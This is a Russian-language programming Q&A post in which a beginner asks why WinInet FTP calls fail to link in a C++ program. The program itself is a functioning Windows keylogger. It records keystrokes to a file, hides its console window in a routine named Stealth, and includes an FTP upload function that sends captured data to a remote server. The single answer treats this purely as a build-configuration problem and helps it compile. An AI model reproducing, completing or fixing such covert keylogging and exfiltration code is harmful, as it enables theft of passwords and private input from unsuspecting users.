Ошибка загрузки ftp на C++ - устаревшее преобразование из строковой константы в 'char*' [-Wwrite-strings]

Я пытался заставить программу загрузить файл на FTP-сервер, и что бы я ни получал

предупреждение: не рекомендуется преобразовывать строковую константу в 'char*' [-Wwrite-strings]

с последующим:

неопределенная ссылка на InternetOpenA@20' undefined reference to InternetConnectA@32'неопределенная ссылка на `FtpPutFileA@20'

это мой код:

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib, "wininet")

int Save (int key_stroke, char *file);


void Stealth();

int main()
{
    Stealth();
    char i;

    while (1){
        for(i=8;i<=190;i++){
            if(GetAsyncKeyState(i) == -32767)
                Save(i,"LOG.TXT");
        }
    }
    system ("PAUSE");
    return 0;
}

/***************************************************/
int Save (int key_stroke, char *file)
{
    if( (key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;

    if(key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if(key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if(key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if(key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if(key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if(key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if(key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if(key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if(key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if(key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if(key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if(key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if( (key_stroke == 190) || (key_stroke == 110))
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose(OUTPUT_FILE);
    return 0;
}
/***************************************************//***************************************************/
void Stealth()
{
 HWND stealth;
 AllocConsole();
 stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(stealth, 0);
 }
void upload()
{
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
    cout << "ERROR: " << GetLastError();
}else{
    hFtpSession = InternetConnect(hInternet, "server", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
    if(hFtpSession == NULL){
        cout << "ERROR: " << GetLastError();
    }else{
        if(!FtpPutFile(hFtpSession, "C://file.txt", "/file.txt", FTP_TRANSFER_TYPE_BINARY, 0))
        {
            cout << "ERROR: " << GetLastError();
        }
    }
}
}

код работает нормально без функции upload(), и я просто не могу понять, почему

Помощь будет высоко ценится, как и любые другие советы по моему коду, потому что я относительно новичок в C++.

Благодарю.

1 ответ

Ваш источник компилируется и работает нормально в моем VC (2013). Я думаю, что здесь виноваты ваши настройки компилятора. Если вы используете Visual Studio (VS), проверьте путь включения источника Visual C/C++ и пути включения библиотеки и убедитесь, что они указывают на правильные папки (и на версию SDK, которая работает с вашей версией Visual Studio). Как это сделать, зависит от версии VS, которую вы используете. Если вы не используете VS, проверьте документацию своей среды разработки о корректировке путей include/library (особенно путей и версии Windows SDK).

Другие вопросы по тегам